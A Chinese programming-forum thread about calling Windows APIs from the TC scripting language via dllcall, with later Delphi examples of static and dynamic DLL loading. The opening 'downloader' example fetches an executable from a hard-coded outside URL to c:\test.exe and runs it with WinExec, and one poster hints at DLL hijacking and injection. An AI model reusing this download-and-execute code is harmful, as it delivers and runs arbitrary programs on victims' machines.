dllcall 用法例子之下载者

qfpaper

1. 空间 dllcalltest
   
2. //默认空间
   
3. 变量 线程句柄=0
   
4. 
   
5. //dllcall参数说明
   
6. //函数原型:dllcall(filepath,type,functionName,...)
   
7. 
   
8. //filepath:api所在的一个dll的地址
   
9. 
   
10. //type:api返回值的类型
    
11. 
    
12. //functionName:api的名字,某些字符串相关的API在名字需要多加字母A或者W
    
13. 
    
14. //...:表示参数是动态的,后面的实际参数是根据API的具体参数来写的
    
15. 
    
16. 
    
17. 
    
18. //dllcall使用规则:
    
19. //1、调用系统API只需要写API所在的dll就可以了,可以不写绝对路径,自己编写的API必须使用绝对路径
    
20. 
    
21. //2、 dllcall的参数在TC里面的定义：
    
22. 
    
23. //TC代码中的参数
    
24. //MSDN中的参数
    
25. 
    
26. //wchar *
    
27. //LPCWSTR
    
28. 
    
29. //char *
    
30. 
    
31. //LPTSTR LPCTSTR
    
32. 
    
33. //double
    
34. //DOUBLE FLOAT
    
35. 
    
36. //int
    
37. //INT LONG
    
38. 
    
39. //bool
    
40. //BOOL
    
41. 
    
42. 
    
43. //3、参数的个数以及类型必要与MSDN上相对应
    
44. 
    
45. //4、dllcall暂时还不支持参数传址与结构体
    
46. 
    
47. 
    
48. 功能 下载文件(pCaller,szURL,szFileName,dwReserved,lpfnCB)
    
49.     //VB
    
50.     //Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"
    
51.     //(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String,ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
52.    
    
53.     //Return Value
    
54.     //Returns one of the following values.
    
55.    
    
56.     //S_OK : The download started successfully.
    
57.    
    
58.     //E_OUTOFMEMORY: The buffer length is invalid, or there is insufficient memory to complete the operation.
    
59.    
    
60.     //INET_E_DOWNLOAD_FAILURE:The specified resource or callback interface was invalid.
    
61.    
    
62.     返回值=dllcall("urlmon.dll","int","URLDownloadToFileA","int",pCaller,"char *",szURL,"char *",szFileName,"int",dwReserved,"int",lpfnCB)
    
63.     如果(返回值==0)
    
64.         返回 真
    
65.     否则
    
66.         返回 假
    
67.     如果结束
    
68. 功能结束
    
69. 
    
70. 功能 打开文件(lpCmdLine,nCmdShow)
    
71.     //VB
    
72.     //Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
    
73.     //返回值
    
74.     //Long，大于31表示成功，请参考FindExecutable函数
    
75.     返回值=dllcall("kernel32.dll","int","WinExec","char *",lpCmdLine,"int",nCmdShow)
    
76.     调试输出("打开文件返回值数值:"&返回值)
    
77.     如果(返回值>31)
    
78.         返回 真
    
79.     否则
    
80.         返回 假
    
81.     如果结束
    
82. 功能结束
    
83. 
    
84. 功能 主功能()
    
85.     Url="http://www.52kanpai.com/test.exe"
    
86.     UrlToFlie="c:\\test.exe"
    
87.     是否下载成功=dllcalltest.下载文件(0,Url,UrlToFlie,0,0)
    
88.     如果(是否下载成功)
    
89.         调试输出("下载成功,返回值:"&是否下载成功)
    
90.         是否打开成功=dllcalltest.打开文件(UrlToFlie,1)
    
91.         如果(是否打开成功)
    
92.             调试输出("成功打开文件")
    
93.         否则
    
94.             调试输出("打开文件失败")
    
95.         如果结束
    
96.     否则
    
97.         调试输出("下载失败,返回值:"&是否下载成功)
    
98.     如果结束
    
99. 功能结束
    
100. 
     
101. 
     
102. 功能 开启下载线程_点击()
     
103.     //这里添加你要执行的代码
     
104.     如果(线程句柄==0)
     
105.         线程句柄=线程.开启("dllcalltest.主功能","")
     
106.     如果结束
     
107. 功能结束
     
108. 
     
109. //空间结束语句
     
110. 功能 结束下载线程_点击()
     
111.     //这里添加你要执行的代码
     
112.     线程.关闭(线程句柄)
     
113.     线程句柄=0
     
114. 功能结束
     
115. 空间结束
     
116. 
     

复制代码

qfpaper

我的理解是，编程就是调用系统提供的API接口做一些我们想做的事情。。。。
TC的DLLCALL 功能对于功能的扩展有很大的帮助啦，方便直接用TC扩展程序功能。。。
但是，为什么TC只能编写EXE形态的程序呢？ 例如DLL就不支持。。
很多情况下需要用DLL的，例如DLL劫持。。。小伙伴们都懂的。。

而像易语言就可以写DLL。。

不知道TC啥时候加上呢?

jimye0526

这不一样tc只是为了脚本开发，是一门脚本语言
而易语言是为了开发一门中文编程语言而开发的，类似vb的中文版，但是有自个的编译器，不是解释型语言

jimye0526

_____

qfpaper

但是，有时候注入后才方便，注入又是DLL才方便。 那TC不能玩DLL啊。。

冷月无痕

你可以用E写DLL 然后TC调用

qfpaper

1． 静态调用方式

示例程序创建了一个DLL，其中仅包含一个求两个整数的和的函数，在主程序中输入两个整数，通过调用该DLL，即可求出两个整数的和

1. library AddNum;
   
2. uses
   
3. SysUtils,
   
4. Classes;
   
5. 
   
6. {$R *.res}
   
7. 
   
8. function AddNumber(Num1,Num2:integer):integer;stdcall; //定义求和函数
   
9. 　begin
   
10. 　　result:=Num1+Num2;
    
11. 　end;
    
12. 　　exports
    
13. 　　AddNumber; //引出求和函数
    
14. 　begin
    
15. end.

复制代码

主程序在调用该DLL时，首先在interface部分声明要调用的函数：

1. function AddNum(Num1,Num2:integer):integer;stdcall;external 'AddNum.dll'
   
2. name 'AddNumber';

复制代码

然后在按钮控件的事件中写入如下代码：

1. procedure TForm1.Button1Click(Sender: TObject);
   
2. var
   
3. 　Number1,Number2:integer;
   
4. 　Sum:integer;
   
5. begin
   
6. 　Number1:=strtoint(Edit1.Text);
   
7. 　Number2:=strtoint(Edit2.Text);
   
8. 　Sum:=AddNum(Number1,Number2); //调用求和函数计算结果
   
9. 　Edit3.Text:=inttostr(Sum);
   
10. end;

复制代码

2．动态调用方式

这个示例程序创建了一个显示日期的DLL，其中包含一个窗体。

程序中定义了一个ShowCalendar函数，返回在这个窗体中设定的日期。函数定义如下

1. function ShowCalendar(AHandle: THandle; ACaption: String): TDateTime;
   
2. var
   
3. 　DLLForm: TDLLForm;
   
4. begin
   
5. 　Application.Handle := AHandle;
   
6. 　DLLForm := TDLLForm.Create(Application); //创建并显示窗体
   
7. 　try
   
8. 　　DLLForm.Caption := ACaption;
   
9. 　　DLLForm.ShowModal; //显示方式为模式化
   
10. 　　Result := DLLForm.calDLLCalendar.CalendarDate; //返回设定日期
    
11. 　finally
    
12. 　　DLLForm.Free; //用完后卸载该窗体
    
13. 　end;
    
14. end;
    

复制代码

在DLL的工程文件中用exports ShowCalendar; 语句引出该函数。下面通过一个简单的应用程序测试一下该DLL文件。新建一个工程文件，在窗体中放置一个Label控件和一个按钮控件，在按钮控件的OnClick事件中编写如下代码：

1. procedure TMainForm.Button1Click(Sender: TObject);
   
2. var
   
3. 　OneHandle : THandle; //定义一个句柄变量
   
4. begin
   
5. 　OneHandle := LoadLibrary('Clendar.dll'); //动态载入DLL，并返回其句柄
   
6. 　try
   
7. 　　if OneHandle <> 0 then //如果载入成功则获取ShowCalendar函数的地址
   
8. 　　　@ShowCalendar := GetProcAddress(OneHandle, 'ShowCalendar');
   
9. 　　　if not (@ShowCalendar = nil) then
   
10. 　　　　//如果找到该函数则在主窗体的Label1中显示DLL窗体中设定的日期
    
11. 　　　　Label1.Caption := DateToStr(ShowCalendar(Application.Handle, Caption))
    
12. 　　　else
    
13. 　　　　RaiseLastWin32Error;
    
14. 　finally
    
15. 　　FreeLibrary(OneHandle); //调用完毕收回DLL占用的资源
    
16. 　end;
    
17. end;

复制代码

以上为DELPHI中调用DLL的两种方法，DLLCALL方法对比后发现等同于静态调用。TC貌似不可以动态调用。。

没有 LoadlibraryA. GetProcAddress